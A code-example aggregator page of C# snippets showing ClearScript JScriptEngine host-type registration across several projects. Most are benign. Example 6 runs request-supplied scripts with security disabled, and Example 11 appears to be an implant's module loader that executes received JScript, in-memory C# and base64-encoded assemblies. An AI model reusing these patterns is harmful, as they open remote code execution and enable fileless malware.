Ejemplo n.º 1
0
        public static ClientsideScriptWrapper StartScript(ClientsideScript script)
        {
            ClientsideScriptWrapper csWrapper = null;

            var scriptEngine = new JScriptEngine();

            scriptEngine.AddHostObject("host", new HostFunctions());
            scriptEngine.AddHostObject("API", new ScriptContext());
            scriptEngine.AddHostType("Enumerable", typeof(Enumerable));
            scriptEngine.AddHostType("List", typeof(IList));
            scriptEngine.AddHostType("KeyEventArgs", typeof(KeyEventArgs));
            scriptEngine.AddHostType("Keys", typeof(Keys));
            scriptEngine.AddHostType("Point", typeof(Point));
            scriptEngine.AddHostType("Size", typeof(Size));
            scriptEngine.AddHostType("Vector3", typeof(Vector3));
            scriptEngine.AddHostType("menuControl", typeof(UIMenu.MenuControls));


            try
            {
                scriptEngine.Execute(script.Script);
                scriptEngine.Script.API.ParentResourceName = script.ResourceParent;
            }
            catch (ScriptEngineException ex)
            {
                LogException(ex);
            }
            finally
            {
                csWrapper = new ClientsideScriptWrapper(scriptEngine, script.ResourceParent, script.Filename);
                lock (ScriptEngines) ScriptEngines.Add(csWrapper);
            }

            return(csWrapper);
        }
Ejemplo n.º 2
0
 private void ImportTypes(JScriptEngine engine)
 {
     foreach (KeyValuePair <string, Type> pair in importedTypes)
     {
         engine.AddHostType(pair.Key, pair.Value);
     }
 }
Ejemplo n.º 3
0
        public static void StartScript(string script, List <int> identEnts)
        {
            var scriptEngine = new JScriptEngine();
            var collection   = new HostTypeCollection(Assembly.LoadFrom("scripthookvdotnet.dll"),
                                                      Assembly.LoadFrom("scripts\\NativeUI.dll"));

            scriptEngine.AddHostObject("API", collection);
            scriptEngine.AddHostObject("host", new HostFunctions());
            scriptEngine.AddHostObject("script", new ScriptContext());
            scriptEngine.AddHostType("Enumerable", typeof(Enumerable));
            scriptEngine.AddHostType("List", typeof(IList));
            scriptEngine.AddHostType("KeyEventArgs", typeof(KeyEventArgs));
            scriptEngine.AddHostType("Keys", typeof(Keys));

            foreach (var obj in identEnts)
            {
                var name = PropStreamer.Identifications[obj];
                if (MapEditor.IsPed(new Prop(obj)))
                {
                    scriptEngine.AddHostObject(name, new Ped(obj));
                }
                else if (MapEditor.IsVehicle(new Prop(obj)))
                {
                    scriptEngine.AddHostObject(name, new Vehicle(obj));
                }
                else if (MapEditor.IsProp(new Prop(obj)))
                {
                    scriptEngine.AddHostObject(name, new Prop(obj));
                }
            }

            try
            {
                scriptEngine.Execute(script);
            }
            catch (ScriptEngineException ex)
            {
                LogException(ex);
            }
            finally
            {
                lock (ScriptEngines)
                    ScriptEngines.Add(scriptEngine);
            }
        }
Ejemplo n.º 4
0
        public void BugFix_NestedType_JScript()
        {
            engine.Dispose();
            engine = new JScriptEngine();

            engine.AddHostType(typeof(NestedTypeTest));
            Assert.AreEqual(NestedTypeTest.NestedType.Foo, engine.Evaluate("NestedTypeTest.NestedType.Foo"));
            Assert.AreEqual(NestedTypeTest.NestedType.Bar, engine.Evaluate("NestedTypeTest.NestedType.Bar"));
            Assert.AreEqual(NestedTypeTest.NestedType.Baz, engine.Evaluate("NestedTypeTest.NestedType.Baz"));
            Assert.AreEqual(NestedTypeTest.NestedType.Qux, engine.Evaluate("NestedTypeTest.NestedType.Qux"));
        }
Ejemplo n.º 5
0
        public static void Load(this JScriptEngine se, Type t)
        {
            var ca = t.GetCustomAttribute <ScriptModuleAttribute>();

            if (ca != null)
            {
                object tmp;
                try
                {
                    tmp = Activator.CreateInstance(t);
                }
                catch { tmp = 12; }

                if (ca.AsType)
                {
                    se.AddHostType(ca.Name != null ? ca.Name : t.Name, t);
                }

                foreach (var me in t.GetMethods())
                {
                    if (me.IsStatic)
                    {
                        var meca = me.GetCustomAttribute <ScriptFunctionAttribute>();
                        if (meca != null)
                        {
                            se.AddHostObject(meca.Name != null ? meca.Name : me.Name, new StaticMethodFunc(args => me.Invoke(null, args)));
                        }
                    }
                }

                foreach (var me in t.GetProperties())
                {
                    var meca = me.GetCustomAttribute <ScriptMemberAttribute>();
                    if (meca != null)
                    {
                        se.AddHostObject(meca.Name != null ? meca.Name : me.Name, me.GetValue(tmp, null));
                    }
                }
            }
        }
Ejemplo n.º 6
0
        public void ProcessRequest(HttpContext context)
        {
            DateTime start = DateTime.Now;

            string[] paths   = context.Request.Params.GetValues("path");
            string[] scripts = context.Request.Params.GetValues("script");

            int pathIndex = -1;

            context.Response.ContentType = "text/plain";
            context.Response.Write("Connected to SINJ handler on " + Environment.MachineName + "\r\n");
            context.Response.Write("Sinj Version " + Assembly.GetExecutingAssembly().GetName().Version + "\r\n");

            context.Response.Write("Num Paths = " + GetDebugString(paths) + "\r\n");
            context.Response.Write("Num Scripts = " + GetDebugString(scripts) + "\r\n");

            WindowsScriptEngineFlags flags = WindowsScriptEngineFlags.None;

            if (context.Request.Params["debug"] == "true")
            {
                flags = WindowsScriptEngineFlags.EnableDebugging;
            }

            using (ScriptEngine engine = new JScriptEngine(flags))
            {
                var pushContext = new PushContext();
                engine.AddHostObject("$sc", pushContext);

                //these global variables should not be here polluting the global namespace in javascript
                //they should hang off $sc, that's what PushContext is for - KW
                engine.AddHostType("$scItemManager", typeof(Sitecore.Data.Managers.ItemManager));
                engine.AddHostType("$scTemplateManager", typeof(Sitecore.Data.Managers.TemplateManager));
                engine.AddHostType("$scLanguage", typeof(Sitecore.Globalization.Language));
                engine.AddHostType("$scVersion", typeof(Sitecore.Data.Version));
                engine.AddHostType("$scID", typeof(Sitecore.Data.ID));
                engine.AddHostType("$scTemplateIDs", typeof(Sitecore.TemplateIDs));
                engine.AddHostType("$scTemplateFieldIDs", typeof(Sitecore.TemplateFieldIDs));
                engine.AddHostType("$scTemplateFieldSharing", typeof(Sitecore.Data.Templates.TemplateFieldSharing));
                engine.AddHostObject("$scMediaItem", new MediaItem());
                engine.AddHostType("$scFieldIDs", typeof(Sitecore.FieldIDs));

                if (scripts != null && paths != null)
                {
                    try
                    {
                        using (new Sitecore.SecurityModel.SecurityDisabler())
                        {
                            foreach (string script in scripts)
                            {
                                pathIndex++;

                                engine.Execute(script);

                                pushContext.RunAsUser(null);
                            }
                        }

                        TimeSpan duration = DateTime.Now - start;

                        context.Response.Write(String.Format("Sinj.PushHandler Completed Successfully in {0} seconds.", duration.TotalSeconds));
                    }
                    catch (ScriptEngineException e)
                    {
                        context.Response.Write("PushHandler error in script file' " + paths[pathIndex] + "'. ");
                        context.Response.Write(e.ErrorDetails + "\r\n\r\n" + e.InnerException + "\r\n\r\n");
                    }
                }
                else
                {
                    engine.Execute("$sc.log('Hello from Sinj...')");
                }
            }
        }
Ejemplo n.º 7
0
        private JScriptEngine InstantiateScripts(string script, string resourceName, string[] refs)
        {
            var scriptEngine = new JScriptEngine();
            var collect      = new HostTypeCollection(refs);

            scriptEngine.AddHostObject("clr", collect);
            scriptEngine.AddHostObject("API", new API()
            {
                ResourceParent = this
            });
            scriptEngine.AddHostObject("host", new HostFunctions());
            scriptEngine.AddHostType("Dictionary", typeof(Dictionary <,>));
            scriptEngine.AddHostType("xmlParser", typeof(RetardedXMLParser));
            scriptEngine.AddHostType("Enumerable", typeof(Enumerable));
            scriptEngine.AddHostType("NetHandle", typeof(NetHandle));
            scriptEngine.AddHostType("String", typeof(string));
            scriptEngine.AddHostType("List", typeof(List <>));
            scriptEngine.AddHostType("Client", typeof(Client));
            scriptEngine.AddHostType("Vector3", typeof(Vector3));
            scriptEngine.AddHostType("Quaternion", typeof(Vector3));
            scriptEngine.AddHostType("Client", typeof(Client));
            scriptEngine.AddHostType("LocalPlayerArgument", typeof(LocalPlayerArgument));
            scriptEngine.AddHostType("LocalGamePlayerArgument", typeof(LocalGamePlayerArgument));
            scriptEngine.AddHostType("EntityArgument", typeof(EntityArgument));
            scriptEngine.AddHostType("EntityPointerArgument", typeof(EntityPointerArgument));
            scriptEngine.AddHostType("console", typeof(Console));
            scriptEngine.AddHostType("VehicleHash", typeof(VehicleHash));
            scriptEngine.AddHostType("Int32", typeof(int));
            scriptEngine.AddHostType("EntityArgument", typeof(EntityArgument));
            scriptEngine.AddHostType("EntityPtrArgument", typeof(EntityPointerArgument));

            try
            {
                scriptEngine.Execute(script);
            }
            catch (ScriptEngineException ex)
            {
                Program.Output("EXCEPTION WHEN COMPILING JAVASCRIPT " + Filename);
                Program.Output(ex.Message);
                Program.Output(ex.StackTrace);
                HasTerminated = true;
                throw;
            }

            return(scriptEngine);
        }
Ejemplo n.º 8
0
 public static void AddType(string name, Type type)
 {
     _engine.AddHostType(name, type);
 }
 public void JScriptEngine_AddHostType()
 {
     engine.AddHostObject("host", new HostFunctions());
     engine.AddHostType("Random", typeof(Random));
     Assert.IsInstanceOfType(engine.Evaluate("host.newObj(Random)"), typeof(Random));
 }
Ejemplo n.º 10
0
        public Runner()
        {
            AppDomain currentDomain = AppDomain.CurrentDomain;

            currentDomain.UnhandledException += new UnhandledExceptionEventHandler(MyHandler);

            JSE = new JScriptEngine(WindowsScriptEngineFlags.EnableDebugging | WindowsScriptEngineFlags.EnableJITDebugging);
            JSE.AddHostObject("CSHost", new ExtendedHostFunctions());

            JSE.AddHostType("CSMarkup", typeof(Markup));
            JSE.AddHostType("CSMarkupFormatters", typeof(MarkupFormatters));

            /// System
            JSE.AddHostType("CSString", typeof(String));
            JSE.AddHostType("CSEnvironment", typeof(Environment));
            JSE.AddHostType("CSConsole", typeof(Console));
            JSE.AddHostType("CSFile", typeof(File));
            JSE.AddHostType("CSFileInfo", typeof(FileInfo));
            JSE.AddHostType("CSDirectory", typeof(Directory));
            JSE.AddHostType("CSPath", typeof(Path));
            JSE.AddHostType("CSSearchOption", typeof(SearchOption));
            JSE.AddHostType("CSEncoding", typeof(Encoding));
            JSE.AddHostType("CSMemoryStream", typeof(MemoryStream));
            JSE.AddHostType("CSTimeSpan", typeof(TimeSpan));
            JSE.AddHostType("CSThread", typeof(Thread));
            JSE.AddHostType("CSProcess", typeof(Process));
            JSE.AddHostType("CSProcessStartInfo", typeof(ProcessStartInfo));
            JSE.AddHostType("CSSearchOption", typeof(SearchOption));
            JSE.AddHostType("CSUri", typeof(Uri));
            JSE.AddHostType("CSWebClient", typeof(WebClient));
            JSE.AddHostType("CSStreamReader", typeof(StreamReader));
            JSE.AddHostType("CSStream", typeof(Stream));
            JSE.AddHostType("CSBitmap", typeof(Bitmap));
            JSE.AddHostType("CSImageFormat", typeof(ImageFormat));
            JSE.AddHostType("CSDebugger", typeof(Debugger));

            /// Mail
            JSE.AddHostType("CSMailMessage", typeof(MailMessage));
            JSE.AddHostType("CSMailAddress", typeof(MailAddress));
            JSE.AddHostType("CSAttachment", typeof(Attachment));
            JSE.AddHostType("CSNetworkCredential", typeof(NetworkCredential));
            JSE.AddHostType("CSSmtpClient", typeof(SmtpClient));

            /// Firefox
            JSE.AddHostType("CSFirefoxBinary", typeof(FirefoxBinary));
            JSE.AddHostType("CSFirefoxDriver", typeof(FirefoxDriver));
            JSE.AddHostType("CSFirefoxProfileManager", typeof(FirefoxProfileManager));
            JSE.AddHostType("CSFirefoxProfile", typeof(FirefoxProfile));
            JSE.AddHostType("CSFirefoxDriverCommandExecutor", typeof(FirefoxDriverCommandExecutor));
            JSE.AddHostType("CSFirefoxOptions", typeof(FirefoxOptions));
            JSE.AddHostType("CSFirefoxDriverService", typeof(FirefoxDriverService));

            /// PhantomJS
            JSE.AddHostType("CSPhantomJSDriver", typeof(PhantomJSDriver));
            JSE.AddHostType("CSPhantomJSOptions", typeof(PhantomJSOptions));
            JSE.AddHostType("CSPhantomJSDriverService", typeof(PhantomJSDriverService));

            /// Selenium
            JSE.AddHostType("CSBy", typeof(By));
            JSE.AddHostType("CSJavascriptExecutor", typeof(IJavaScriptExecutor));
            JSE.AddHostType("CSActions", typeof(Actions));
            JSE.AddHostType("CSDriverService", typeof(OpenQA.Selenium.DriverService));
            JSE.AddHostType("CSRemoteWebDriver", typeof(RemoteWebDriver));
            JSE.AddHostType("CSDesiredCapabilities", typeof(DesiredCapabilities));
            JSE.AddHostType("CSPlatform", typeof(Platform));
            JSE.AddHostType("CSPlatformType", typeof(PlatformType));
            JSE.AddHostType("CSProxy", typeof(Proxy));
            JSE.AddHostType("CSProxyKind", typeof(ProxyKind));
            JSE.AddHostType("CSIWebDriver", typeof(IWebDriver));
            JSE.AddHostType("CSITakesScreenshot", typeof(ITakesScreenshot));
            JSE.AddHostType("CSScreenshot", typeof(Screenshot));
            JSE.AddHostType("CSSelectElement", typeof(SelectElement));

            /// HTMLAgilityPack
            JSE.AddHostType("CSHtmlDocument", typeof(HtmlAgilityPack.HtmlDocument));
            JSE.AddHostType("CSHtmlNode", typeof(HtmlAgilityPack.HtmlNode));
            JSE.AddHostType("CSHtmlNodeCollection", typeof(HtmlAgilityPack.HtmlNodeCollection));
            JSE.AddHostType("CSHtmlAttribute", typeof(HtmlAgilityPack.HtmlAttribute));
            //JSE.AddHostType(typeof(HapCssExtensionMethods));

            /// Axtension
            JSE.AddHostType("T", typeof(Axtension.ApplicationLogging));
            JSE.AddHostType("CSConfig", typeof(Axtension.Config));
            JSE.AddHostType("CSREST", typeof(Axtension.REST));
            JSE.AddHostType("CSRESTful", typeof(Axtension.RESTful));
            JSE.AddHostType("CSFluentREST", typeof(Axtension.RESTful2));
            JSE.AddHostType("CSProcesses", typeof(Axtension.Processes));
            JSE.AddHostType("CSMail", typeof(Axtension.Mail));
            JSE.AddHostType("CSDatabase", typeof(Axtension.SQL));
            JSE.AddHostType("CSTelstraSMS", typeof(Axtension.TelstraSMS));
            JSE.AddHostType("CSXML", typeof(Axtension.XML));
            JSE.AddHostType("CSSQL", typeof(Axtension.SQL));
            JSE.AddHostType("CSGoogleOAuth2", typeof(Axtension.GoogleOAuth2));
            JSE.AddHostType("CSDebugPoints", typeof(Axtension.DebugPoints));

            //
            JSE.AddHostType("CSZipFile", typeof(ZipFile));
        }
Ejemplo n.º 11
0
        public static int LoadAndExec(String code, StreamReader rdr)
        {
            var lines = code.Split('\n');

            switch (lines[0])
            {
            case "//CLEARSCRIPT":
                JScriptEngine jsEngine = new JScriptEngine();
                jsEngine.AddHostType("Console", typeof(Console));
                jsEngine.AddHostObject("sw", streamWriter);
                jsEngine.AddHostObject("rdr", rdr);
                jsEngine.AddHostObject("xHost", new ExtendedHostFunctions());
                jsEngine.AddHostType("DllImports", typeof(DllImports));
                jsEngine.AddHostType("Win32", typeof(SilverSmoke.Execution.Win32));
                jsEngine.AddHostType("Native", typeof(SilverSmoke.Execution.Native));
                var typeCollection = new HostTypeCollection("mscorlib", "System", "System.Core");
                jsEngine.AddHostObject("clr", typeCollection);
                try
                {
                    jsEngine.Execute(code);
                }
                catch (Exception ex)
                {
                    streamWriter.WriteLine(ex.Message);
                }
                break;

            case "//C#":
                TextWriter oldOut = Console.Out;                  //save this
                Console.SetOut(streamWriter);
                string[] dlls = lines[1].Substring(2).Split(','); //2nd line: list of DLLs, seperated by commas
                string   nm   = lines[2].Substring(2);            //3rd line: namespace
                string   cls  = lines[3].Substring(2);            //4th line: class name
                string   mthd = lines[5].Substring(2);            //5th line: method name
                string[] argl = lines[4].Substring(2).Split(' '); //5th line: arguments for method
                compileInMemory(code, dlls, nm, cls, mthd, argl);
                Console.SetOut(oldOut);
                break;

            case "//IL-DATA":
                nm   = lines[1].Substring(2);                     //2nd line: namespace
                cls  = lines[2].Substring(2);                     //3rd line: class name
                mthd = lines[3].Substring(2);                     //4th line: method name
                argl = lines[4].Substring(2).Split(' ');          //5th line: arguments for method
                byte[] data = Convert.FromBase64String(lines[6]); //7th line: b64 encoded assembly
                try
                {
                    oldOut = Console.Out;     //save this
                    Console.SetOut(streamWriter);
                    Assembly        asm             = Assembly.Load(data);
                    Type            type            = asm.GetType(nm + "." + cls);
                    MethodInfo      method          = type.GetMethod(mthd);
                    ParameterInfo[] parameters      = method.GetParameters();
                    object[]        parametersArray = new object[] { argl };
                    method.Invoke(null, parameters.Length == 0 ? null : parametersArray);
                    Console.SetOut(oldOut);
                }
                catch (Exception e)
                {
                    streamWriter.WriteLine("Error Loading IL Assembly:");
                    streamWriter.WriteLine(e.Message);
                }
                break;

            default:
                streamWriter.WriteLine("[-] Invalid module format.");
                break;
            }
            bld.Remove(0, bld.Length);
            bld.Clear();
            streamWriter.WriteLine("SIGNAL-MODULE-FINISHED");
            return(0);
        }